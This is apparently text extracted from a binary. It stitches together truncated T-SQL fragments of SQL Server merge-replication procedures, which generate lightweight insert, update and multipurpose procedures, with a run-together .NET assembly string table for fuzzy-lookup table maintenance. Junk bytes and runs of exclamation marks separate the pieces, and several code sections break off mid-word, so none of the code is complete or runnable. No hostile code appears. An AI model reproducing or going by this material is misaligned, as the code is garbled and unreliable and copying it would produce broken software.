		set @METADATA_TYPE_UpdateLightweight= 8
		'

		if 1=@column_tracking
		begin
			set @cmd= @cmd + '
			declare @COLUMNS_ENUMERATED_ChangedOnly tinyint
			set @COLUMNS_ENUMERATED_ChangedOnly= 0
			'
		end
	end

	set @cmd= @cmd + '
	set @tablenick= ' + cast(@tablenick as nvarchar(20)) + '

	'

	if 1=@inserttrigger
	begin
		set @cmd= @cmd + '

		update rt
			set rt.changetype= @METADATA_TYPE_InsertLightweight,
				rt.changedcolumns= null,
				rt.columns_enumeration= @COLUMNS_ENUMERATED_AllOnOtherReason,
				rt.sync_cookie= null,
				rt.changed= sys.fn_MSdayasnumber(getdate())
			from dbo.MSmerge_rowtrack as rt join inserted as i
			on rt.rowguid = i.rowguidcol and rt.tablenick = @tablenick
	'
	end
	else
	begin
		if 1=@column_tracking
		begin
            set @cmd= @cmd + '
                declare @bm varbinary(128)
                set @bm= columns_updated()'

            if @timestampbm <> 0x00
            begin
                select @cmd = @cmd + '
                -- Remove timestamp columns from columns_updated(), so that colv does not show a false conflict.
                exec @retcode= sys.sp_firstonly_bitmap
                                @inputbitmap1= @bm, 
                                @inputbitmap2= ' + @timestampbmstr + ',
                                @resultbitmap3= @bm output
            
                if @@error<>0 or @retcode<>0 goto Failure'
            end
            
			if @missingbm is null
			begin
				set @cmd= @cmd + '

				update rt
					set rt.changetype= 
							case 
								when rt.changetype=@METADATA_TYPE_InsertLightweight and rt.sync_cookie is null then @METADATA_TYPE_InsertLightweight
								else @METADATA_TYPE_UpdateLightweight
							end,
						rt.changedcolumns= sys.fn_MSorbitmaps(isnull(rt.changedcolumns, 0x00), @bm),
						rt.sync_cookie= null,
						rt.changed= sys.fn_MSdayasnumber(getdate())
					from dbo.MSmerge_rowtrack as rt join inserted as i
					on rt.rowguid = i.rowguidcol and rt.tablenick = @tablenick
				'
			end
			else
			begin
				set @cmd= @cmd + '
				exec sp_mapdown_bitmap ' + @missingbmstr + ', @bm output 

				update rt
					set rt.changetype= 
							case 
								when rt.changetype=@METADATA_TYPE_InsertLightweight and rt.sync_cookie is null then @METADATA_TYPE_InsertLightweight
								else @METADATA_TYPE_UpdateLightweight
							end,
						rt.changedcolumns= sys.fn_MSorbitmaps(isnull(rt.changedcolumns, 0x00), @bm),
						rt.sync_cookie= null,
						rt.changed= sys.fn_MSdayasnumber(getdate())
					from dbo.MSmerge_rowtrack as rt join inserted as i
					on rt.rowguid = i.rowguidcol and rt.tablenick = @tablenick
				'
			end
		end
		else
		begin
			set @cmd= @cmd + '

			update rt
				set rt.changetype= 
						case 
							when rt.changetype=@METADATA_TYPE_InsertLightweight and rt.sync_cookie is null then @METADATA_TYPE_InsertLightweight
							else @METADATA_TYPE_UpdateLightweight
						end,
					rt.changedcolumns= null,
					rt.sync_cookie= null,
					rt.changed= sys.fn_MSdayasnumber(getdate())
				from dbo.MSmerge_rowtrack as rt join inserted as i
				on rt.rowguid = i.rowguidcol and rt.tablenick = @tablenick
			'
		end
	end

	set @cmd= @cmd + '
	select @err= @@error, @metarows_count= @@rowcount

	if @err <> 0
	begin
		raiserror (20041, 16, -1)
		goto Failure
	end

	-- If there were base data rows without corresponding metadata, then @baserows_count > @metarows_count.
	-- In that case, we need to insert rows into MSmerge_rowtrack'

	if 1=@inserttrigger
	beg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>Dv/create procedure sys.sp_MScreatelightweightinsertproc 
	@pubid		uniqueidentifier,
	@artid		uniqueidentifier
as
	set nocount on

	declare @argname						nvarchar(10)
	declare @id								int
	declare @tablenick						int
	declare @destination_object				sysname
	declare @destination_owner				sysname
	declare @qualified_name					nvarchar(270)
	declare @colid							int
	declare @previouscolid					int
	declare @colname						nvarchar(200)
	declare @typename						nvarchar(258)
	declare @len							smallint
	declare @prec							int
	declare @scale							int
	declare @isidentitycolumn               bit
	declare @is_identitynotforreplication	bit
	declare @columnordinal					smallint
	declare @retcode						int
	declare @comma							nvarchar(2)
	declare @cmdpiece						nvarchar(4000)
	declare @postfix						nchar(32)
	declare @maintainsmetadata				bit
	declare @coltracked						bit
	declare @enumtype_str					nvarchar(100)
	declare @cmdtable						table (phase int not null, 
												   step int identity not null, 
												   cmdtext nvarchar(4000) collate database_default null)

	-- Security check
	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)

	select @tablenick= nickname, 
		   @destination_object= destination_object, 
		   @postfix= procname_postfix, 
		   @destination_owner= destination_owner,
		   @coltracked= column_tracking
		from dbo.sysmergearticles 
		where pubid = @pubid and artid = @artid

	if 1=@coltracked
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_ChangedOnly'
	end
	else
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_AllOnOtherReason'
	end

	set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)

	if @destination_owner is null or @destination_owner=''
		select @qualified_name = quotename(@destination_object)
	else
		select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)

	-- Phase 0: Create procedure and fixed part of argument list.
	if 1 = @maintainsmetadata
	begin
		set @cmdpiece=
		'create procedure dbo.' + quotename('MSmerge_lws_sp_ins_'	+ @postfix) + '
			@rowguid uniqueidentifier,
			@rowvector varbinary(11)'
	end
	else
	begin
		set @cmdpiece=
		'create procedure dbo.' + quotename('MSmerge_lws_sp_ins_'	+ @postfix) + '
			@rowguid uniqueidentifier'
	end

	insert into @cmdtable (phase, cmdtext) values (0, @cmdpiece)

	-- Phase 1: Column arguments list. This will be done later.

	-- Phase 2: Open procedure body.
	set @cmdpiece='
	as 
	declare @errcode	int
	set nocount on'
	insert into @cmdtable (phase, cmdtext) values (2, @cmdpiece)


    -- phase 3,4 and 5 are optional. Used only for downloadonly
    -- articles to call update proc before attempting insert.
    if 1 <> @maintainsmetadata
    begin
        --phase 3 : fixed part of the call to update proc.
        set @cmdpiece = '
    -- Call the update proc first because this is a download only article
    set @errcode= 0
    exec @errcode = dbo.' + quotename('MSmerge_lws_sp_upd_'	+ @postfix) + ' 
	@rowguid = @rowguid,
	@setnullbm = 0x00 '
        insert into @cmdtable (phase, cmdtext) values (3, @cmdpiece)
        -- phase 4 is rest of argument list; goes in during loop over columns

        -- phase 5 is the reset of the fixed part of the call to
        -- update proc
        set @cmdpiece = '
        if @errcode = 1
		return(1)'
        insert into @cmdtable (phase, cmdtext) values (5, @cmdpiece)
    end



	
	-- phase 6
	set @cmdpiece='-- Security check
	if (is_member(''db_owner'') <> 1)
	begin
		raiserror(15247,-1,-1)
		return (3)
	end

	declare @tablenick	int
	set @tablenick= ' + cast(@tablenick as nvarchar(20)) + '
	'

	insert into @cmdtable (phase, cmdtext) values (6, @cmdpiece)

	-- Phase 7: Enable identity_insert, if needed. This is done later.
	
	-- Phase 8: Add all code up to column list in insert statement.
	if 1=@maintainsmetadata
	begin
		set @cmdpiece= 
		'
		declare @METADATA_TYPE_UpsertLightweightProcessed tinyint'

		if 1=@coltracked
		begin
			set @cmdpiece=@cmdpiece + '
			declare @COLUMNS_ENUMERATED_ChangedOnly tinyint

			set @COLUMNS_ENUMERATED_ChangedOnly= 0'
		end
		else
		begin
			set @cmdpiece=@cmdpiece + '
			declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

			set @COLUMNS_ENUMERATED_AllOnOtherReason= 2'
		end

		set @cmdpiece=@cmdpiece + '
		set @METADATA_TYPE_UpsertLightweightProcessed= 11

		begin tran
		save tran tran_lws_insproc

		update dbo.MSmerge_rowtrack
			set
				changetype= @METADATA_TYPE_UpsertLightweightProcessed, 
				rowvector= @rowvector,
				changedcolumns= null,
				columns_enumeration= ' + @enumtype_str + ',
				changed= sys.fn_MSdayasnumber(getdate()),
				sync_cookie= null
			where tablenick = @tablenick and rowguid = @rowguid

		if @@rowcount = 0
		begin
			insert into dbo.MSmerge_rowtrack
			(
				tablenick, 
				rowguid, 
				changetype, 
				rowvector, 
				changedcolumns, 
				columns_enumeration, 
				changed, 
				sync_cookie
			)
			values
			(
				@tablenick, 
				@rowguid, 
				@METADATA_TYPE_UpsertLightweightProcessed, 
				@rowvector, 
				null, 
				' + @enumtype_str + ', 
				sys.fn_MSdayasnumber(getdate()), 
				null
			)

			if @@rowcount <> 1
			begin
				set @errcode= 3
				goto Failure
			end
		end

		insert into ' + @qualified_name + '
			('
	end -- 1=@maintainsmetadata
	else
	begin
		set @cmdpiece= 
		'
		insert into ' + @qualified_name + '
		('
	end
	
	insert into @cmdtable (phase, cmdtext) values (8, @cmdpiece)

	-- Phase 9: Column name list in insert statement. Will be done later.

	-- Phase 10: "values" keyword in insert statement
	set @cmdpiece= ')
		values
		('

	insert into @cmdtable (phase, cmdtext) values (10, @cmdpiece)

	-- Phase 11: Column value list in insert statement. Will be done later.

	-- Phase 12: Close insert statement, and prepare for completion of the stored proc.
	set @cmdpiece= ')
	if @@rowcount <> 1
	begin
		set @errcode= 3
		goto Failure
	end
	else
	begin
		set @errcode= 1
		delete from dbo.MSmerge_metadataaction_request
			where tablenick=@tablenick and rowguid=@rowguid
		
		goto Done
	end'

	if 1 = @maintainsmetadata
	begin
		set @cmdpiece= @cmdpiece + '
		Failure:
			rollback tran tran_lws_insproc

		Done:
			commit tran
			'
	end
	else
	begin
		set @cmdpiece= @cmdpiece + '
		Failure:
		Done:
			'
	end

	insert into @cmdtable (phase, cmdtext) values (12, @cmdpiece)

	-- Phase 13: Disable identity_insert, if previously enabled. This is done later.

	-- Phase 14: Return.
	set @cmdpiece= '
	
	return(@errcode)
	'

	insert into @cmdtable (phase, cmdtext) values (14, @cmdpiece)

	-- Now we loop over the columns to complete the command.
	-- We omit computed and timestamp columns.

	select @id= object_id(@qualified_name)
	if @id is null return (1)
	
	set @columnordinal= 0
	set @previouscolid= -1
	while (1=1)
	begin
		set @columnordinal= @columnordinal + 1
		
		set @colid= (select min(column_id) from sys.columns 
						where object_id = @id and 
							  column_id > @previouscolid and
							  is_computed = 0 and
							  system_type_id <> type_id('timestamp'))

		if @colid is null
			break

		set @previouscolid= @colid

		select 
			@colname= quotename(name), 
			@typename= type_name(system_type_id),
			@len= max_length,
			@prec= precision, 
			@scale= scale,
			@isidentitycolumn= is_identity, 
			@is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
			from sys.columns 
			where object_id = @id and column_id = @colid

		if @typename='nvarchar' or @typename='nchar' -- a unit of nchar takes 2 bytes
			select @len= @len/2

		exec @retcode= sys.sp_MSmaptype @typename out, @len, @prec, @scale
		if @@error<>0 or @retcode <>0 return (1)

		-- Phase 1: Add column to proce!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/vlcreate procedure sys.sp_MScreatelightweightmultipurposeproc 
	@pubid		uniqueidentifier,
	@artid		uniqueidentifier
as
	set nocount on

	declare @postfix			nchar(32)
	declare @qualified_name		nvarchar(270)
	declare @destination_owner	sysname
	declare @destination_object	sysname
	declare @tablenick			int
	declare @tablenickstr		nvarchar(20)
	declare @retcode			int
	declare @objid				int
	declare @column_tracking	bit
	declare @columnordinal		int
	declare @previouscolid		int
	declare @colid				int
	declare @colname			sysname
	declare @cmdpiece			nvarchar(4000)
	declare @from_clause		nvarchar(4000)
	declare @columnlist 		nvarchar(max)
	declare @cmdtable			table (phase int not null, 
							   		   step int identity not null, 
									   cmdtext nvarchar(4000) collate database_default null)
	create table #columnvaluequery	(step int identity not null, 
									 cmdtext nvarchar(4000) collate database_default null)

	-- Security check
	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)

	select @destination_object= destination_object, 
		   @tablenick= nickname,
		   @postfix= procname_postfix, 
		   @destination_owner= destination_owner,
		   @column_tracking= column_tracking,
		   @objid= objid
		from dbo.sysmergearticles 
		where pubid = @pubid and artid = @artid

	if @destination_owner is null or @destination_owner=''
		set @qualified_name= quotename(@destination_object)
	else
		set @qualified_name= quotename(@destination_owner) + '.' + quotename(@destination_object)

	set @tablenickstr= cast(@tablenick as nvarchar(20))

	-- Determine the base table column list, excluding computed or timestamp colums.
	-- Used for @action=1,2,6
	if not exists (select * from sys.columns
						where object_id = @objid and 
							  (
								is_computed = 1 
								or
								system_type_id = type_id('timestamp')
							  ))
	begin
		set @columnlist= 't.*'
	end
	else
	begin
		set @columnordinal= 0
		set @previouscolid= -1
		while (1=1)
		begin
			set @columnordinal= @columnordinal + 1
			
			set @colid= (select min(column_id) from sys.columns 
							where object_id = @objid and 
								  column_id > @previouscolid and
								  is_computed = 0 and
								  system_type_id <> type_id('timestamp'))
		
			if @colid is null
				break
		
			set @previouscolid= @colid
		
			select @colname= quotename(name)
				from sys.columns 
				where object_id = @objid and column_id = @colid

			if 1=@columnordinal
			begin
				set @columnlist= 't.' + @colname
			end
			else
			begin
				set @columnlist= @columnlist + ', t.' + @colname
			end
		end
	end

	set @from_clause= '
				from ' + @qualified_name + ' as t
						inner join 
						dbo.MSmerge_rowtrack as rt on t.rowguidcol = rt.rowguid
				where rt.tablenick = @tablenick and
					  rt.rowguid > @rowguid and
					  rt.changetype in (@METADATA_TYPE_InsertLightweight,
					  					@METADATA_TYPE_UpdateLightweight) and
					  rt.sync_cookie = @pubnick
				order by rt.rowguid asc
			if @@error <> 0 return 1
		'

	-- Generate query part that return actual column values for changed columns,
	-- null for unmodified columns.
	if 1=@column_tracking
	begin
		exec @retcode= sys.sp_MSgenerate_enumchangedcolumnvalues_query
								@objid= @objid

		if @@error <> 0 or @retcode <> 0 return 1
	end

	-- Procedure head.
	set @cmdpiece= '
create procedure dbo.' + quotename('MSmerge_lws_sp_multi_' + @postfix) + '
	@action			tinyint,
	@pubnick		int= null,
	@rowguid		uniqueidentifier= null,
	@type			tinyint= null output,
	@rowvector		varbinary(11)= null output,
	@changedcolumns	varbinary(128)= null output,
	@columns_enumeration tinyint= null output,
	@baserowexists	bit= null output,
	@maxrows        bigint= null
as
	set nocount on

	declare @retcode int
	declare @tablenick int
	declare @METADATA_TYPE_Missing tinyint
	declare @METADATA_TYPE_ContentsDeferred tinyint
	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @COLUMNS_ENUMERATED_ChangedOnly tinyint
	declare @COLUMNS_ENUMERATED_AllOnConflictOrError tinyint
	declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

	set @METADATA_TYPE_Missing= 0
	set @METADATA_TYPE_ContentsDeferred= 3
	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8
	set @COLUMNS_ENUMERATED_ChangedOnly= 0
	set @COLUMNS_ENUMERATED_AllOnConflictOrError= 1
	set @COLUMNS_ENUMERATED_AllOnOtherReason= 2
	set @retcode= 0

	-- Security check
	if (is_member(''db_owner'') <> 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	select @tablenick= ' + @tablenickstr

	insert into @cmdtable (phase, cmdtext) values (0, @cmdpiece)

	-- @action=1 (retrieve row data)
	set @cmdpiece= '

	if @action = 1
	begin
		select ' + @columnlist + ' from ' + @qualified_name + ' t where rowguidcol = @rowguid
		if @@error <> 0 return 1
	end
	else if @action = 2
	begin
'

	insert into @cmdtable (phase, cmdtext) values (1, @cmdpiece)

	-- @action=2 (retrieve row data and metadata)
	-- If we enumerate all columns we use a 'select *' on the base table; if only
	-- changed columns are enumerated, use the result from #columnvaluequery.
	--
	-- IMPORTANT: If the number of metadata colums changes, adjust cMetadataColumnsLightweight accordingly!

	if 1=@column_tracking
	begin
		set @cmdpiece= '
		select top (@maxrows)
	       rt.tablenick, 
		   rt.rowguid, 
		   rt.rowvector, 
		   rt.changedcolumns,
		   rt.columns_enumeration,
		   rt.changetype,'

		insert into @cmdtable (phase, cmdtext) values (2, @cmdpiece)

		-- Insert the query that checks for changed columns.
		insert into @cmdtable (phase, cmdtext)
			select 3, cmdtext from #columnvaluequery order by step asc

		insert into @cmdtable (phase, cmdtext) values (4, @from_clause)
	end -- 1=@column_tracking
	else
	begin
		set @cmdpiece= '
		select top (@maxrows)
            rt.tablenick, 
            rt.rowguid, 
            rt.rowvector, 
            rt.changedcolumns,
            rt.columns_enumeration,
            rt.changetype,
			   ' + @columnlist

		insert into @cmdtable (phase, cmdtext) values (5, @cmdpiece)
		insert into @cmdtable (phase, cmdtext) values (6, @from_clause)
	end

	-- @action=3: determine metadata type, possibly retrieve row metadata
	set @cmdpiece= '
	end
	else if @action = 3
	begin
		set @type= @METADATA_TYPE_Missing
		set @rowvector= null
		
		-- Transaction and the serializable hint makes sure the row does not change its
		-- metadata type between querying the metadata and the base data. Otherwise, we might
		-- return a wrong metadata type.

		begin tran
			select top 1 @type= changetype, 
						 @rowvector= rowvector, 
						 @changedcolumns=  changedcolumns,
						 @columns_enumeration= columns_enumeration
						 
				from dbo.MSmerge_rowtrack with (serializable)
				where tablenick = @tablenick and rowguid = @rowguid

			if @type = @METADATA_TYPE_Missing
			begin
				-- There is no row metadata, but the base row might still be here.
				if exists (select top 1 * from ' + @qualified_name + ' where rowguidcol = @rowguid)
				begin
					set @type= @METADATA_TYPE_ContentsDeferred
				end
				if @@error <> 0 set @retcode= 1

				-- Set @columns_enumeration to the default value.
				set @columns_enumeration= @COLUMNS_ENUMERATED_AllOnOtherReason
			end

		commit tran
	end
	'

	insert into @cmdtable (phase, cmdtext) values (8, @cmdpiece)

	-- @action=4: lock base table
	set @cmdpiece= '
	else if @action = 4
	begin
		select 1 from ' + @qualified_name + ' with (tablock holdlock) where 1 = 2
		if @@error <> 0 set @retcode= 1
	end
	'

	insert into @cmdtable (phase, cmdtext) values (9, @cmdpiece)

	-- @action=5: check whether row exists in base table
	set @cmdpiece= '
	else if @action = 5
	begin
		if ex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_ORDINAL_FREQCOLUMN_ORDINAL_RIDSset_RidColumnNameget_RidColumnNamem_RidColumnNameget_DeleteColumnListset_DeleteColumnListm_DeleteColumnListget_InsertColumnListset_InsertColumnListm_InsertColumnListset_MetaDataget_MetaDatam_MetaDataSetMetaDataStringGetMetaDataRowWhereClauseGetMetaDataStringInitializeMetaDataset_TableNameget_TableNamem_TableNameValidateTableExistsset_RefRowTokenizerget_RefRowTokenizerm_RefRowTokenizerRefTableDeleteCacheRefTableColumnRefTableInsertInsertDeletem_cacheFlushCacheRidColumnNameDeleteColumnListInsertColumnListMetaDataTableNameRefRowTokenizerMemoryTargetSystem.Collections.GenericDictionary`2m_dataLookupFlushFlushPartialBM_METADATA_VERSIONVersionKeyDelimitersKeyRefTableNameKeyPreparedRefTableNameKeyCopiedRefTableNameKeyTriggerNameKeyRefRowCntKeyMaxTokenLengthKeynMaxStoredKeysPerTokenKeyIndexedColumnCountKeyLcidKeyJoinTypeKeySemiNormFlagsKeyget_IsInitializedset_IsInitializedm_IsInitializedInitializeFromStringSystem.IOStringReaderGetLineGetCountFromStringGetFlagsFromStringReadKeyValuePairToStringget_TriggerNameset_TriggerNamem_TriggerNameget_IndexedColumnsset_IndexedColumnsm_IndexedColumnsget_CopyColumnsset_CopyColumnsm_CopyColumnsget_JoinColumnsset_JoinColumnsm_JoinColumnsget_FuzzyLookupColumnsget_RefRowCountset_RefRowCountm_RefRowCountget_MaxTokenLengthset_MaxTokenLengthm_MaxTokenLengthget_MaxRidsPerTokenset_MaxRidsPerTokenm_MaxRidsPerTokenget_Delimitersset_Delimitersm_Delimitersget_NormalizerFlagsset_NormalizerFlagsm_NormalizerFlagsget_RefPrepTableNameset_RefPrepTableNamem_RefPrepTableNameget_RefCopyTableNameset_RefCopyTableNamem_RefCopyTableNameget_RefSourceTableNameset_RefSourceTableNamem_RefSourceTableNameIsInitializedTriggerNameIndexedColumnsCopyColumnsJoinColumnsFuzzyLookupColumnsRefRowCountMaxTokenLengthMaxRidsPerTokenDelimitersNormalizerFlagsRefPrepTableNameRefCopyTableNameRefSourceTableNamem_Textset_Textget_Textm_FieldIndexset_FieldIndexget_FieldIndexm_Typeget_Typeset_TypeGetHashCodeEqualsTextFieldIndexTokenTextVarFieldIndexVarTokenTypeVarm_ridsm_FrequencyValidateSortOrderReadFromDeleteFromWriteToInsertRidListget_Ridsset_Ridsget_Frequencyset_FrequencyRidsFrequencym_RidBytesAppendget_RidBytesRidBytesqHMAX_TOKEN_LENGTHIndexOnRefCopyget_Indexset_Indexm_Indexget_JoinTypeset_JoinTypem_iJoinTypeget_Lcidset_Lcidm_Lcidget_SemiNormFlagsset_SemiNormFlagsm_SemiNormFlagsget_Countset_Countm_CountLcidSemiNormFlagsCountget_Itemset_Itemm_CountCollectionsItemNumCountTypesCountTypePrefixNonDistinctTokenDistinctTokenNormalizeMapNORM2LCMAPFlagsCheckNativeReturnCodeFoldStringNativeFoldStringNativeWrapFoldStringMaxNlsApiBufferNeededLCMapStringNativeLCMapStringNativeWrapLCMapStringNlsNormalizeMAP_FOLDCZONEMAP_PRECOMPOSEDMAP_COMPOSITEMAP_FOLDDIGITSMAP_EXPAND_LIGATURESLCMAP_LOWERCASELCMAP_UPPERCASELCMAP_SORTKEYLCMAP_BYTEREVLCMAP_HIRAGANALCMAP_KATAKANALCMAP_HALFWIDTHLCMAP_FULLWIDTHLCMAP_LINGUISTIC_CASINGLCMAP_SIMPLIFIED_CHINESELCMAP_TRADITIONAL_CHINESENORM_IGNORECASENORM_IGNORENONSPACENORM_IGNORESYMBOLSNORM_IGNOREKANATYPENORM_IGNOREWIDTHBM_NO_FLAGSBM_DEFAULT_NORM_FLAGSBM_FULL_NORM_FLAGSBM_DEFAULT_FOLD_FLAGSBM_FULL_FOLD_FLAGSBM_DEFAULT_FLAGSBM_FULL_FLAGSERROR_CALL_GETLASTERRORERROR_INSUFFICIENT_BUFFERERROR_INVALID_FLAGSERROR_INVALID_PARAMETERget_LCIDset_LCIDm_LCIDget_Flagsset_Flagsm_FlagsLCIDFlagsWriteLineTranWrapSqlErrorCollectionReportErrorsRaiseErrorIdRaiseErrorMsgServerInstallInstallInstallIndexInstallTriggerServerUninstallLockTableLockTablesFuzzyLookupUninstallErrorMessageServerInvokeInvokeProcessInsertDataTableProcessDeleteDataTableDeleteProcessedRowsIsValidDataTableIAsyncResultAsyncCallbackBeginInvokeEndInvokeNoneFltmSqletiTableNameFuzzyLookupTableMaintenanceInstallFuzzyLookupTableMaintenanceUninstallFuzzyLookupTableMaintenanceInvokesp_FuzzyLookupTableMaintenanceInvokeEtiTableNamePropertyInsertTableNamePropertyDeleteTableNamePropertyTriggerNamePrefixInsertTablePrefixDeleteTablePrefixFindTriggerCandidateInitializeSetTriggerPropertyGetTriggerPropertyValidateDataTableget_ETIset_ETIm_ETIset_DeleteTableNameget_DeleteTableNamem_DeleteTableNameset_InsertTableNameget_InsertTableNamem_InsertTableNameget_TriggerCreationCommandTextETIDeleteTableNameInsertTableNameTriggerCreationCommandTextFullFieldFullTokenQGramUnknownNumTokenTypesExactFuzzyget_Numberset_NumberNumberBytesPerRidNonTpfBitsTpfBitMaskMaxTpfValm_ridTpfBitsSetget_AsIntset_AsIntget_RIDget_TPFset_TPFCompareCompareToop_Equalityop_Inequalityop_LessThanop_GreaterThanop_LessThanOrEqualop_GreaterThanOrEqualAsIntRIDTPFset_RIDTokenizeget_Normalizerset_Normalizerm_RIDm_SemiNormalizedTextset_SemiNormalizedTextget_SemiNormalizedTextm_FullyNormalizedTextset_FullyNormalizedTextget_FullyNormalizedTextm_dWeightset_Weightget_Weightm_dFrequencySemiNormalizedTextFullyNormalizedTextWeightget_SubTokenizerset_SubTokenizerm_SubTokenizerset_FieldTokenizerget_FieldTokenizerm_FieldTokenizerm_NonStringFieldTokenizerset_IndexableColumnsget_IndexableColumnsm_IndexableColumnsSubTokenizerFieldTokenizerIndexableColumnsm_Normalizerm_delimitersget_ReturnEmptyTokensset_ReturnEmptyTokensm_ReturnEmptyTokensReturnEmptyTokensget_FullNormalizerset_FullNormalizerm_FullNormalizerFullNormalizerget_BaseTokenizerset_BaseTokenizerm_BaseTokenizerget_qset_qm_qComputeQgramsComputeQgramsForFullTokenBaseTokenizerm_Hget_Hset_HComputeBridgeTokenHashNumPartsMaxInitget_QualifiedNamem_QualifiedNamem_alPartsPartget_NumPartsset_NumPartsm_iNumPartsIsEmptyIsValidDelimitElementUndelimitElementClearParseGetCanonicalLiteralRemoveEscapeCharQualifiedNameNumPartsStartNoOpenOpenQuoteOpenBracketCloseQuoteCloseBracketQuoteBracketQueryPerformanceCounterQueryPerformanceFrequencystartstopfrequencyDecimalmultiplierStopDurationVersionStringMajorVersionMinorVersionBuildVersionSPLevelProductVersionStringProductNameStringSqlEngineUsageMetricsRoleGuidStringProductNameBrandingStringLongProductNameBrandingStringProductNameShortcutBrandingStringVersionLocationStringProductVersionLocationStringVersionHelpKeywordPrefixVersionHelpSettingsTokenSetupSupportFolderProductLicenseFileProductUpdateCategorySqlProductFamilyCodeProductDiscoveryIdSqlInstanceIDPrefixAsInstanceIDPrefixRsInstanceIDPrefixMaxMaintenanceVersionevalTimeBombValuecurrentReleaseTimeBombValueWerEventNameSetupMsiWerEventNameSetupConfigASUsageMetricsRoleGuidStringVersionBIDSHelpNamespaceVisualStudioShellVersionget_VersionHelpNamespaceVersionHelpNamespacemessagesinnerParamArrayAttributeevaluenamesacindexiinputcolumnNameiOrdinalrowValuesodtRowValuestextfromTableNamecolumnListpreserveIdentityPropertytableNamecolumnCollectionspropertyNamepropertyValuetypeL0nameL0typeL1nameL1typeL2nameL2EtiTableNamemetaDatasrlridAsIntridtrmetadataValueflagsAsObjectKeySystem.Runtime.InteropServicesOutAttributeobjrlridBytesnewRidabOldRidListttctInputinFlagsretdwMapFlagslpSrcStrcchSrclpDestStrcchDestfflagssourcefieldformatargcerrorsetilockHintobjectmethodcallbackresulttriggerNameabtpfrid1rid2r1r2tokensfullNormFlagsdelimiterStringinputStringsemiNormFlagsbaseTokenizerqgramsiNonBridgeLenalqgramoutQgramst1t2xystrElementstrIdentifierealpPerformanceCountlpFrequencyiterationsComVisibleAttributeSystem.ReflectionAssemblyVersionAttributeAssemblyProductAttributeAssemblyCopyrightAttrib!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,Tv;uteAssemblyCompanyAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyKeyFileAttributeAssemblyDelaySignAttributeAssemblyTrademarkAttributeAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCultureAttributeNeutralResourcesLanguageAttributeSystem.Security.PermissionsSecurityPermissionAttributeSecurityActionCLSCompliantAttributeSystem.DiagnosticsDebuggableAttributeDebuggingModesSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeasm_tablemaintenanceAttributeUsageAttributeAttributeTargetsget_ClassAssemblyGetExecutingAssemblyInt32RuntimeTypeHandleGetTypeFromHandleMarshalSizeOfSystemDefaultCharSizeSystem.TextStringBuilderIEnumeratorGetEnumeratorget_CurrentAppendFormatMoveNextIDisposableDisposeget_LengthRemoveDateTimeget_TodayGuidNewGuidStringConcatget_CharsCharSystem.Data.CommonDbCommandset_CommandTextCommandTypeset_CommandTypeExecuteScalarStringWriterSubstringNumberStylesTextWriterWriteget_InvariantCultureIFormatProviderByteTextReaderReadLastIndexOfToUpperInvariantBooleanDbDataReaderAddMathMinContainsStartsWithEndsWithDBNullExecuteNonQueryArrayToArraySqlParameterCollectionget_ParametersDbParameterCollectionSqlParameterAddWithValueFormatCopyToSqlConnectionget_ConnectionDbConnectionConnectionStateget_IsNullop_ExplicitExecuteReaderKeyCollectionget_KeysTryGetValueEnumeratorList`1UInt32System.Text.RegularExpressionsRegexRegexOptionsMatchGroupget_SuccessCaptureCollectionget_CapturesGroupCollectionget_GroupsReadLineIndexOfICollectionAddRangeConditionalAttributeCopyGetInt32SqlBytesGetSqlBytesget_ValueResizeDefaultMemberAttributeGetLastWin32ErrorWin32ExceptionDllImportAttributeKernel32.dllFoldStringWLCMapStringWFlagsAttributeTraceset_AutoFlushOpenSqlTransactionBeginTransactionCreateCommandset_Transactionget_ErrorsDbTransactionRollbackCommitComponentMicrosoft.SqlServer.ServerSqlContextSqlPipeget_PipeSendCommandBehaviorSqlStringop_Implicitget_IsClosedCloseStructLayoutAttributeLayoutKindMaxToCharArrayStringSplitOptionsSplitRemoveAtSortRemoveRangeAbsGetTypeToLowerInvariantCharEnumerator<PrivateImplementationDetails>{773A515F-F9B9-497C-86F8-E70417D14CC4}CompilerGeneratedAttribute__StaticArrayInitTypeSize=16$$method0x6000200-1RuntimeHelpersRuntimeFieldHandleInitializeArray$$method0x6000200-2IsWhiteSpaceKERNEL32!UnspecifiedError)ObjectIdLookupFailed)NoObjectNameProvidedNoInputToDecode!InvalidHexStringNoInputToEncodeNoEtiTableNameENoMetaDataProvidedForSerializationEtiCorrupt-FailedToGetEtiMetaDataCFailedToInitializeFromEtiMetaDataGNoMetaDataProvidedForInitializationMetaDataTooLong-MetaDataInvalidVersion/MetaDataVersionProvided/MetaDataVersionExpected5MetaDataTokenCountsCorruptMetaDataInvalid!MetaDataTooShort1MetaDataHasNegativeCount'MetaDataMissingInfo3MetaDataTooLongSuggestionEtiUnreachable!BadCommandObject-OpenConnectionRequired)EtiTokenDeleteFailed%EtiTokenNotPresent)EtiNoRidlistToAppend-EtiFrequenciesPositive)EtiInsertExistingRid3EtiDeleteFromEmptyRidlist5EtiUnexpectedRidListLength%EtiDeleteExcessive/TriggerAlreadyInstalled'TriggerNameMismatch=TriggerMissingExtendedProperty!OutputBufferNullIndexNegative)OutputBufferTooSmall-QgramsPerTokenNegativeBadTokenBadTokenType9MetaDataHasUnsupportNormFlag9TableMaintenanceInsertFailed5RefCopyIndexCreatio